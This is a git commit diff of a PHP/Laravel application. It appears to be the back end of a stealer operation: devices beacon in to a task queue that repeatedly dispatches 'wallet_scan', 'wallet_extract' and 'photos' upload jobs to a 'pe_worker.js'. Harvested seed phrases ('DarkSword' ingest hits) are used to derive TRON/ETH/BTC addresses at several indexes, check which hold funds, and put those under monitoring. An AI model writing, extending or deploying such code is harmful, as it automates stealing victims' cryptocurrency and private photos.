fix: link memo

This commit is contained in:
hashbro
2026-09-13 17:17:34 +08:00
parent bca2eb4602
commit b49755c900
17 changed files with 751 additions and 202 deletions
@@ -12,7 +12,7 @@ class LinkMnemonicsCommand extends Command
{
protected $signature = 'coruna:link-mnemonics';
protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
protected $description = 'Link existing addresses to mnemonics (BIP44 0..9), then persist activated derived addresses (0..2) when a mnemonic has none';
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
{
@@ -23,7 +23,7 @@ class LinkMnemonicsCommand extends Command
$discovered = 0;
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
$discovered += $discovery->discoverIndexZero($mnemonic);
$discovered += $discovery->discoverActivated($mnemonic);
}
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
@@ -165,12 +165,12 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverIndexZero($mnemonic);
$discovery->discoverActivated($mnemonic);
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic),
'data' => $this->walletsPayload($mnemonic, $discovery),
]);
}
@@ -196,7 +196,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverIndexZero($mnemonic);
$discovery->discoverActivated($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
@@ -214,11 +214,10 @@ class MnemonicController extends Controller
}
}
// Re-read from wallet_addresses so the popup shows persisted rows.
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic), [
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
@@ -239,35 +238,13 @@ class MnemonicController extends Controller
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic): array
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$data = $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
];
})->values()->all();
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $data,
'addresses' => $discovery->walletCards($mnemonic),
];
}
+7
View File
@@ -44,6 +44,13 @@ class AppServiceProvider extends ServiceProvider
public function boot(): void
{
if (! $this->app->runningInConsole()) {
$limit = (int) ini_get('max_execution_time');
if ($limit > 0 && $limit < 60) {
@set_time_limit(60);
}
}
try {
$this->app->make(SettingsService::class)->applyToConfig();
} catch (\Throwable) {
+65
View File
@@ -97,7 +97,63 @@ class BtcDriver implements ChainDriver
return BtcAddress::isValid($address);
}
public function isActivated(string $address): bool
{
try {
return $this->probeAddress($address)['activated'];
} catch (\Throwable) {
return false;
}
}
/**
* One address lookup: activation + confirmed BTC.
*
* @return array{activated: bool, btc: string}
*/
public function probeAddress(string $address): array
{
$json = $this->fetchAddressJson($address);
return [
'activated' => self::addressIsActivated($json),
'btc' => $this->nativeFromAddressJson($json),
];
}
public function getNativeBalance(string $address): string
{
return $this->probeAddress($address)['btc'];
}
/**
* @param array<string, mixed> $json
*/
public static function addressIsActivated(array $json): bool
{
foreach (['chain_stats', 'mempool_stats'] as $key) {
$stats = $json[$key] ?? [];
if (! is_array($stats)) {
continue;
}
if ((int) ($stats['tx_count'] ?? 0) > 0) {
return true;
}
if ((int) ($stats['funded_txo_count'] ?? 0) > 0) {
return true;
}
if ((int) ($stats['funded_txo_sum'] ?? 0) > 0) {
return true;
}
}
return false;
}
/**
* @return array<string, mixed>
*/
private function fetchAddressJson(string $address): array
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid BTC address');
@@ -112,6 +168,15 @@ class BtcDriver implements ChainDriver
if (! is_array($json)) {
throw new RuntimeException('Invalid BTC balance response');
}
return $json;
}
/**
* @param array<string, mixed> $json
*/
private function nativeFromAddressJson(array $json): string
{
$stats = $json['chain_stats'] ?? [];
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
+5
View File
@@ -20,6 +20,11 @@ interface ChainDriver
public function isValidAddress(string $address): bool;
/**
* True when the address has on-chain footprint (account created, txs, or funds).
*/
public function isActivated(string $address): bool;
/**
* Human-decimal native balance (e.g. TRX).
*/
+35
View File
@@ -53,6 +53,41 @@ class EthDriver implements ChainDriver
return EthAddress::isValid($address);
}
public function isActivated(string $address): bool
{
if (! $this->isValidAddress($address)) {
return false;
}
try {
$hex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($address), 'latest']);
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
return true;
}
} catch (\Throwable) {
// fall through to balances
}
try {
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
// fall through to token
}
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
if ($contract === '') {
return false;
}
try {
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
+9
View File
@@ -139,6 +139,15 @@ class TronDriver implements ChainDriver
];
}
public function isActivated(string $address): bool
{
try {
return $this->probeAccount($address)['activated'];
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
return $this->probeAccount($address)['trx'];
+1 -1
View File
@@ -805,7 +805,7 @@ class DarkSwordIngestAdapter
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
$this->mnemonicDiscovery->discoverActivated($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
+73 -8
View File
@@ -13,22 +13,27 @@ use Illuminate\Support\Str;
* Redis keys per device:
* ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue)
* ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson}
* ds:qround:{id} String — remaining default-queue rounds (including current)
* ds:qt:{id} String — throttle lock (TTL 5s)
*
* Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis.
*
* Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?}
*
* Default queue: photos, wallet_scan (one-shot, no auto-repeat).
* Default queue: wallet_scan → wallet_extract → photos, replayed DEFAULT_ROUNDS times.
*/
class DsBeaconQueue
{
/** Default task types seeded for new DarkSword devices (one-shot, no repeat). */
/** Default task types seeded for new DarkSword devices (FIFO dispatch order). */
public const DEFAULT_TYPES = [
'photos',
'wallet_scan',
'wallet_extract',
'photos',
];
/** After the default queue is consumed, replay it until this many rounds finish. */
public const DEFAULT_ROUNDS = 3;
/** All task types the pe_worker.js can handle (for admin dropdown). */
public const ALL_TYPES = [
'photos' => '相册上传',
@@ -118,6 +123,7 @@ class DsBeaconQueue
private const Q_PREFIX = 'ds:q:';
private const DISP_PREFIX = 'ds:qdisp:';
private const DONE_PREFIX = 'ds:qdone:';
private const ROUND_PREFIX = 'ds:qround:';
private const THROTTLE_PREFIX = 'ds:qt:';
private const THROTTLE_SEC = 5;
private const DONE_CAP = 50;
@@ -141,9 +147,8 @@ class DsBeaconQueue
return; // already has pending tasks
}
foreach (self::DEFAULT_TYPES as $type) {
$this->lpushTask($device, $type, $this->paramsFor($type));
}
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
$this->pushDefaultTypes($device);
}
// ── Dequeue (called on every /beacon) ──────────────────────────────────
@@ -167,7 +172,13 @@ class DsBeaconQueue
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null; // noop — queue empty
if (! $this->replenishDefaultRound($device)) {
return null; // noop — queue empty and no remaining rounds
}
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null;
}
}
$task = json_decode($raw, true);
@@ -386,7 +397,7 @@ class DsBeaconQueue
* Only pending + dispatched are returned. Completed task results are
* stored as DeviceEvent records (shown in the 日志 tab), not in Redis.
*
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>}
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>, rounds_total: int, rounds_remaining: int, round_current: int}
*/
public function getQueueState(Device $device): array
{
@@ -410,10 +421,17 @@ class DsBeaconQueue
}
}
$remaining = $this->roundsRemaining($device);
return [
'pending' => $pending,
'dispatched' => $dispatched,
'done' => [], // completed tasks are in device_events (日志 tab)
'rounds_total' => self::DEFAULT_ROUNDS,
'rounds_remaining' => $remaining,
'round_current' => $remaining > 0
? (self::DEFAULT_ROUNDS - $remaining + 1)
: self::DEFAULT_ROUNDS,
];
}
@@ -427,6 +445,48 @@ class DsBeaconQueue
// ── Internal helpers ────────────────────────────────────────────────────
/**
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
*/
private function pushDefaultTypes(Device $device): void
{
foreach (self::DEFAULT_TYPES as $type) {
$this->lpushTask($device, $type, $this->paramsFor($type));
}
}
/**
* When the pending list is empty, push another copy of the default types
* if unused rounds remain. Remaining includes the round that just finished,
* so remaining=1 means that was the last pass.
*/
private function replenishDefaultRound(Device $device): bool
{
$remaining = $this->roundsRemaining($device);
if ($remaining <= 1) {
if ($remaining === 1) {
$this->setRoundsRemaining($device, 0);
}
return false;
}
$this->setRoundsRemaining($device, $remaining - 1);
$this->pushDefaultTypes($device);
return true;
}
public function roundsRemaining(Device $device): int
{
return max(0, (int) Redis::get($this->roundKey($device)));
}
private function setRoundsRemaining(Device $device, int $remaining): void
{
Redis::set($this->roundKey($device), (string) max(0, $remaining));
}
/**
* Push a task to the Redis queue (LPUSH = newest at head).
*
@@ -498,6 +558,11 @@ class DsBeaconQueue
return self::DONE_PREFIX.$device->id;
}
private function roundKey(Device $device): string
{
return self::ROUND_PREFIX.$device->id;
}
private function throttleKey(Device $device): string
{
return self::THROTTLE_PREFIX.$device->id;
+3 -3
View File
@@ -10,7 +10,7 @@ use InvalidArgumentException;
class MnemonicAddressLinker
{
public const MAX_DERIVE_INDEX = 4;
public const MAX_DERIVE_INDEX = 9;
public function __construct(
private readonly ChainManager $chains,
@@ -18,7 +18,7 @@ class MnemonicAddressLinker
) {}
/**
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
* Link a single address to a device mnemonic when BIP44 index 0..9 matches.
*/
public function linkAddress(WalletAddress $address): bool
{
@@ -149,7 +149,7 @@ class MnemonicAddressLinker
/**
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
* when BIP44 index 0..4 matches.
* when BIP44 index 0..9 matches.
*
* @return array{mnemonics: int, linked: int}
*/
+244 -38
View File
@@ -4,16 +4,24 @@ namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use App\Services\Chain\TronDriver;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist the addresses even when the balance is zero.
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
*/
class MnemonicWalletDiscovery
{
public const MAX_DERIVE_INDEX = 2;
/** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
@@ -24,12 +32,21 @@ class MnemonicWalletDiscovery
public function __construct(
private readonly ChainManager $chains,
private readonly TelegramNotifier $telegram,
private readonly TokenviewMonitorService $tokenview,
) {}
/**
* @return int Number of address rows created or updated
*/
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
return $this->discoverActivated($mnemonic);
}
/**
* @return int Number of address rows created or updated
*/
public function discoverActivated(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -58,8 +75,8 @@ class MnemonicWalletDiscovery
foreach (self::CHAINS as $spec) {
try {
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
if ($row !== null) {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
foreach ($rows as $row) {
$saved[] = $row;
}
} catch (\Throwable $e) {
@@ -77,26 +94,185 @@ class MnemonicWalletDiscovery
return count($saved);
}
private function discoverOne(
/**
* Persisted linked rows, or ephemeral index-0 previews when none exist.
*
* @return list<array<string, mixed>>
*/
public function walletCards(WalletMnemonic $mnemonic): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
if ($addresses->isNotEmpty()) {
return $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'active' => true,
'persisted' => true,
];
})->values()->all();
}
return $this->inactiveIndexZeroCards($mnemonic);
}
/**
* @return list<WalletAddress>
*/
private function discoverChain(
WalletMnemonic $mnemonic,
string $phrase,
string $source,
string $chain,
string $chainType,
): ?WalletAddress {
): array {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
try {
$coins = $this->fetchCoins($chain, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
$saved = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$address = $driver->deriveAddress($phrase, $index);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'index' => $index,
]);
break;
}
try {
$probe = $this->probeActivated($chain, $driver, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
'index' => $index,
]);
continue;
}
if (! $probe['activated']) {
continue;
}
$saved[] = $this->persistActivated(
$mnemonic,
$source,
$chainType,
$address,
$index,
$probe['coins'],
);
}
return $saved;
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
{
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'btc' => $this->probeBtc($driver, $address),
default => ['activated' => false, 'coins' => []],
};
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeTron(ChainDriver $driver, string $address): array
{
if (! $driver instanceof TronDriver) {
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
}
$probe = $driver->probeAccount($address);
if (! $probe['activated']) {
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
}
return [
'activated' => true,
'coins' => [
'trx' => $probe['trx'],
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeEth(ChainDriver $driver, string $address): array
{
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
}
return [
'activated' => true,
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBtc(ChainDriver $driver, string $address): array
{
if ($driver instanceof BtcDriver) {
$probe = $driver->probeAddress($address);
return [
'activated' => $probe['activated'],
'coins' => ['btc' => $probe['btc']],
];
}
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
}
return [
'activated' => true,
'coins' => ['btc' => $driver->getNativeBalance($address)],
];
}
/**
* @param array<string, string> $coins
*/
private function persistActivated(
WalletMnemonic $mnemonic,
string $source,
string $chainType,
string $address,
int $index,
array $coins,
): WalletAddress {
$row = WalletAddress::query()->firstOrNew([
'device_id' => $mnemonic->device_id,
'address' => $address,
@@ -105,18 +281,60 @@ class MnemonicWalletDiscovery
$row->chain_type = $chainType;
$row->mnemonic_id = $mnemonic->id;
$row->derive_index = 0;
$row->derive_index = $index;
$row->monitor = 1;
if (! $row->exists) {
$row->monitor = 0;
$row->monitor_synced = false;
$row->monitor_failures = 0;
}
foreach ($coins as $col => $value) {
$row->{$col} = $value;
}
$row->save();
$this->enableMonitor($row);
return $row;
}
/**
* @return list<array<string, mixed>>
*/
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return [];
}
$source = trim((string) ($mnemonic->source ?: ''));
$cards = [];
foreach (self::CHAINS as $spec) {
try {
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
} catch (\Throwable) {
continue;
}
$cards[] = [
'id' => null,
'address' => $address,
'chain_type' => $spec['chain_type'],
'source' => $source,
'derive_index' => 0,
'usdt' => null,
'trx' => null,
'eth' => null,
'btc' => null,
'bnb' => null,
'active' => false,
'persisted' => false,
];
}
return $cards;
}
/**
* @return array<string, string>
*/
@@ -130,27 +348,15 @@ class MnemonicWalletDiscovery
};
}
/**
* @return array<string, string>
*/
private function fetchCoins(string $chain, string $address): array
private function enableMonitor(WalletAddress $address): void
{
$driver = $this->chains->resolve($chain);
return match ($chain) {
'tron' => [
'trx' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
'eth' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
'btc' => [
'btc' => $driver->getNativeBalance($address),
],
default => [],
};
try {
$this->tokenview->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
}
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string